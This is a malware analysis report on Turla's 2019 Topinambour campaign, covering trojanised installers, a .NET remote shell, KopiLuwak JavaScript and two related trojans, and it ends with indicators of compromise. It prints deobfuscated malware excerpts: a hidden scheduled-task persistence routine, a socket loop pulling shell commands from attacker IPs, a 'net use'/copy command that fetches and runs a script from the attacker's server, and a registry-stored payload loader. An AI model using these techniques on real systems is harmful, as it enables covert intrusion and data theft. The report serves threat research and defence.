Turla renews its arsenal with Topinambour

By GReAT

Published: 2019-07-15 · Archived: 2026-04-05 22:46:14 UTC

Turla, also known as Venomous Bear, Waterbug, and Uroboros, is a Russian speaking threat actor known since 2014, but with roots that go back to 2004 and earlier. It is a complex cyberattack platform focused predominantly on diplomatic and government-related targets, particularly in the Middle East, Central and Far East Asia, Europe, North and South America and former Soviet bloc nations.

2019 has seen the Turla actor actively renew its arsenal. Its developers are still using a familiar coding style, but they're creating new tools. Here we'll tell you about several of them, namely "Topinambour" (aka Sunchoke – the Jerusalem artichoke) and its related modules. We didn't choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves.

The new modules were used in an active campaign that started at the beginning of 2019. As usual, the actor targeted governmental entities. The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan. Moreover, this actor now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak. Among the control servers there are several legitimate but compromised WordPress websites with the actor's .php scripts on them.

This time, the developers left some Easter eggs for the targets and researchers. The .NET modules include amusing strings such as "TrumpTower" as an initial vector for RC4 encryption. "RocketMan!" (probably a reference to Donald Trump's nickname for Kim Jong Un) and "MiamiBeach" serve as the first beacon messages from the victim to the control server.

How Topinambour spreads

To deliver all this to targets, the operators use legitimate software installers infected with the Topinambour dropper. These could be tools to circumvent internet censorship, such as "Softether VPN 4.12" and "psiphon3", or Microsoft Office "activators".

The dropper contains a tiny .NET shell that will wait for Windows shell commands from the operators. Using this and SMB shares on rented virtual private servers (VPS), the campaign operators spread the next-stage modules using just "net use" and "copy" Windows shell commands. It's hard to believe, but SMB still works through public networks.

These campaign-related VPSs are located in South Africa. Interestingly, their external IP addresses start with "197.168". Possibly these first two bytes are there to mimic LAN addresses that start with "192.168". Lateral movements in the target's infrastructure show how familiar the campaign operators are with the IPv6 protocol. Along with IPv4 they use the newer version for shell commands and LAN addresses.

What Topinambour wants from the targets

The purpose of all this infrastructure and modules in JavaScript, .NET and PowerShell is to build a “fileless” module chain on the victim’s computer consisting of an initial small runner and several Windows system registry values containing the encrypted remote administration tool. The tool does all that a typical Trojan needs to accomplish: upload, download and execute files, fingerprint target systems. The PowerShell version of the Trojan also has the ability to get screenshots.

Trojan	Command set
JavaScript	exit upld inst wait dwld
.NET	#down #upload #timeout #stop #sync
PowerShell	#upload #down #screen #timeout #stop #sync

Even the command system in the different Trojans is quite similar

Interesting technical features

A plausible hypothesis for developing similar malware in different languages could be to avoid detection: if one version is detected on the victim’s computer, the operators can try an analogue in a different language. In the table below, we compare Trojans in terms of encryption keys in use and initial messages to control servers.

Trojan	RC4 encryption key	Initial beacon to C2
JavaScript KopiLuwak	01a8cbd328df18fd49965d68e2879433	“bYVAoFGJKj7rfs1M” plus hash based upon Windows installation date
.NET	TrumpTower	RocketMan!
PowerShell	TimesNewRoman	MiamiBeach

For some reason, the developers prefer to entertain targets and researchers instead of randomizing strings

Our analysis of the dropper is based on the sample below:

SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284
MD5 110195ff4d7298ba9a186335c55b2d1f
Compiled 2018.09.10 12:08:14 (GMT)
Size 1 159 680
Original name topinambour.exe

The dropper sample on which our analysis is based implements the following features:

Dropper function	Features

unpack_p	Drops payload to %LOCALAPPDATA%/VirtualStore/certcheck.exe. The “p” in the function name and corresponding resource in the dropper stands for “payload”
make_some_noise	Gains persistence for payload with a scheduled task that starts every 30 minutes
unpack_o	Drops the original application that the dropper tries to mimic (such as psiphon3) to %TEMP%/activator.exe and runs it. Here “o” in the function name and corresponding resource in the dropper stands for “original”

```
private static void make_some_noise()
{
    ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR %localappdata
      %\\VirtualStore\\certcheck.exe /TN VerifiedPublisherCertCheck /F")
    {
        CreateNoWindow = true,
        UseShellExecute = false
    };
    Process.Start(startInfo);
}
```

The Topinambour authors decided to name the remote shell persistence function “make_some_noise()”

Dropped tiny .NET remote shell

The tiny dropped application gets Windows shell commands from the C2 and silently executes them.

```
foreach (string current in new List<string>
{
    "197.168.0.247",
    "10.0.0.30",
    "10.0.0.31"
})
{
    try
    {
        IPAddress expr_3F = IPAddress.Parse(current);
        IPEndPoint remoteEP = new IPEndPoint(expr_3F, 13277);
        Socket socket = new Socket(expr_3F.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
        socket.ReceiveTimeout = 20000;
        socket.SendTimeout = 60000;
        socket.Connect(remoteEP);
        byte[] array = new byte[4];
        if (socket.Receive(array, 4, SocketFlags.None) != 4)
        {
            throw new Exception();
        }
```

The Topinambour tiny .NET shell first tries to get commands from an external IP, which looks like a LAN, and then continues with possibly infected LAN IPs

The first DWORD (four bytes) received after a TCP request to the C2 is the data size for the following communication. Then the data contained in the next packets will be the Windows shell command to silently execute the application using “cmd.exe /c”. And that’s it – straightforward, simple and useful.

KopiLuwak dropper

This is where the notorious KopiLuwak comes into play. The .NET remote shell silently downloads scripts from the C2 – from the opened SMB share on a remote CELL-C VPS in South Africa to be precise. “Net use” and “copy” Windows shell commands are enough to fulfil the task.

cmd.exe /c net use \\197.168.0.247\c$ <user_pass_here> /user:administrator & copy /y \\197.168.0.247\c$\users\public\documents\i.js $documents\j.js & $documents\j.js

As a result, the victim is infected with a KopiLuwak obfuscated JavaScript.

```
try {
    var wscript_object = WScript.CreateObject("WScript.Network");
    var scheduler_user = wscript_object.UserName;
    var shell_object = new ActiveXObject("Shell.application");
    var userprofile = shell_object.NameSpace(40)
    f_CreateScheduledTaskLogon("ProactiveScan", "NTFS Volume Health Scan", scheduler_user,
        "Chkdsk.js", "-scan Kdw6gG7cpOSZsBeH", "C:\\Users\\"  +  userprofile  +     "\\
        AppData\\Roaming\\Microsoft", true);
} catch (e) {
    WScript.Quit();
}
```

Deobfuscated KopiLuwak dropper that puts the RC4 decryption key into the scheduler task for next-stager persistence

Its functions are described in the table below:

Script function	**Features**
Create scheduler task	Creates a task with the name ProactiveScan, description “NTFS Volume Health Scan”, which runs C:\Users\<user_name_here>\AppData\Roaming\Microsoft\Chkdsk.js with the parameters “-scan Kdw6gG7cpOSZsBeH”, where the parameter is the RC4 decryption key
Fingerprint host	Saves a set of commands such as systeminfo, net view, tasklist /v, gpresult /z, dir \x22%programfiles%\x5cKaspersky Lab\x22, tracert www.google.com to %appdata%\Microsoft\x5ct235.dat
Drop next JavaScript	Drops C:\Users\<user_name_here>\AppData\Roaming\Microsoft\Chkdsk.js

The dropped “Chkdsk.js” decrypts one more script using the RC4 key provided in the dropper’s scheduled task and runs the decrypted code. This final stager is a more complex Trojan, able to parse and execute custom commands from the C2.

The operators get the victim’s data in XML format: every message has a 16-byte signature at the beginning and a victim-specific fingerprint that the developer calls “ridid”.

Constant	**Bytes**	**Value and features**

magic	16	Every encrypted message from the infected host starts with this. In the samples described, the magic bytes are ‘bYVAoFGJKj7rfs1M’.
ridid	32	Hash value, based on Windows installation date and the aforementioned 16-byte magic value
RC4 iv	32	RC4 initial vector to encrypt communication between the target and the C2. In the samples described, the IV value is “01a8cbd328df18fd49965d68e2879433”

```
function get_install_date_based_hash_32(additional_str) {
    var additional_str_plus_install_date = additional_str + get_os_install_date();
    var result = '';
    for (var i = 0; i < 32; i++) {
        var counter = 0;
        for (var j = i; j < additional_str_plus_install_date.length - 1; j++) {
            counter = counter ^ additional_str_plus_install_date.charCodeAt(j);
        }
        counter = counter % 16;
        result = result + counter.toString(10);
        result = result.substr(0, 32);
    }
    return result;
}
```

Decrypted and deobfuscated target hashing algorithm, based on Windows installation date and 16-byte hardcoded string

The malware communicates with a legitimate compromised WordPress-based website and gets four byte length commands from URL like “http://<legitimate domain>/wp-includes/Requests/Socks.php”. First, the malware beacons to its C2 and gets the command to execute as an answer.

Command	**Features**
exit	Send “t235.dat” fingerprinting file content with “upl” text in the XML message, delete the file and stop script execution
upld	Send “t235.dat” content with “upl” text in XML message. If no such file exists, or it’s empty, it sends “opt file no exists or size limit” text in the XML message
inst	Command format is: • – three bytes after command – overall server response length • – three following bytes – they are “jss” • – Tail – JavaScript to execute Send ‘good install’ and “t235.dat” content in the XML messages. Save executed JavaScript file as %APPDATA%\Microsoft\ghke94d.jss

wait	Do nothing
dwld	Command format is the same as for the “inst” command, but the script from the server will not be executed at once. It saves the decrypted JavaScript as %APPDATA%\Microsoft\awgh43.js and sends ‘success get_parse_command’ in the XML message

KopiLuwak JavaScript

The downloaded script takes a binary from the Windows registry and runs it. The registry subkeys and values vary from target to target.

```
try {
    var CZMGX = new ActiveXObject('WbemScripting.SWbemLocator');
    var PRHlS = CZMGX.ConnectServer('.', 'root\\default', '', '');
    PRHlS.Security_.ImpersonationLevel = 3;
    var MxphD = PRHlS.Get('StdRegProv');
    var Q5fd2 = MxphD.Methods_('GetBinaryValue');
    var Ou798 = Q5fd2.inParameters.SpawnInstance_();
    Ou798.hDefKey = 2147483649;
    Ou798.sSubKeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Maintenance';
    Ou798.sValueName = 'MOfficeMaintenance';
    var HYgau = MxphD.ExecMethod_('GetBinaryValue', Ou798);
    var OWnkP = HYgau.uValue.toArray();
    var pTtIL = '';
    for (i = 0; i < OWnkP.length; i++) {
        pTtIL += String.fromCharCode(OWnkP[i]);
    }
    eval(pTtIL);
} catch (e) {
    WScript.Quit();
}
```

The slightly obfuscated script used to run the payload from registry

It is not completely clear how the registry keys were created; however, the attackers usually use the .NET initial infector for that. In some samples, there is an additional function to get the victim´s MAC address.

This is the end of first “JavaScript” infection chain. Now, let’s also briefly describe the second .NET-based chain.

.NET RocketMan Trojan

We call this Trojan RocketMan after the string the developer uses for beaconing. Another string inside this malware is “TrumpTower”, used as an RC4 encryption initial vector.

This malware reads the C2 IP and port from the registry where it was saved by the previous stager. It processes the following commands from its C2 that are received encrypted over HTTP:

Command	**Features**

#down	Make HTTP POST request to http://<config_ip>:<config_port>/file to download the file with the provided name to the victim's computer
#upload	Make HTTP GET request to http://<config_ip>:<config_port>/update, decrypt server response and upload the file to the server with the provided path and name
#timeout	Get the pause length from the server command argument and wait
#stop	Make HTTP GET request to http://<config_ip>:<config_port>/exit, stop the Trojan operation
#sync	Send encrypted "RocketMan!" string to the server

PowerShell MiamiBeach Trojan

Last but not least, the developers behind the Topinambour campaign also used a PowerShell Trojan. This Trojan contains around 450 strings and uses "TimesNewRoman" as the RC4 initial vector to encrypt C2 communications.

This module beacons to its hardcoded C2 with the string "MiamiBeach" using an HTTP POST. The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally, it includes the "#screen" command to take a screenshot.

Conclusions

The reason behind the development of KopiLuwak's PowerShell and .NET analogues may be simply to minimize detection of the well-known, publicly discussed JavaScript versions. Using the Windows system registry to store encrypted data that is later used by the malware also seems to be aimed at minimizing detection and reducing the digital footprint on any victim's computer, where only a tiny starter would be left.

It's a bit surprising, amusing and not entirely clear why the developers have used some seemingly US-related strings such as "RocketMan!", "TrumpTower" or "make_some_noise". They are hardly likely to serve as false flags. The usage of KopiLuwak, a well-known and exclusive artefact previously used by the Turla group, makes us attribute this campaign to this actor with high confidence.

Indicators of compromise

C2 HTTP GET templates

- http://<config_ip>:<config_port>/file
- http://<config_ip>:<config_port>/update
- http://<config_ip>:<config_port>/exit

Some campaign-related MD5 hashes

- 47870ff98164155f088062c95c448783
- 2c1e73da56f4da619c4c53b521404874
- 6acf316fed472300fa50db54fa6f3cbc

- 9573f452004b16eabd20fa65a6c2c1c4
- 3772a34d1b731697e2879bef54967332
- d967d96ea5d0962e08844d140c2874e0
- a80bbd753c07512b31ab04bd5e3324c2
- 37dc2eb8ee56aeba4dbd4cf46f87ae9a
- 710f729ab26f058f2dbf08664edb3986

Domains and IPs

VPSs used as control servers

- 197.168.0.73
- 197.168.0.98
- 197.168.0.212
- 197.168.0.243
- 197.168.0.247
- 197.168.0.250
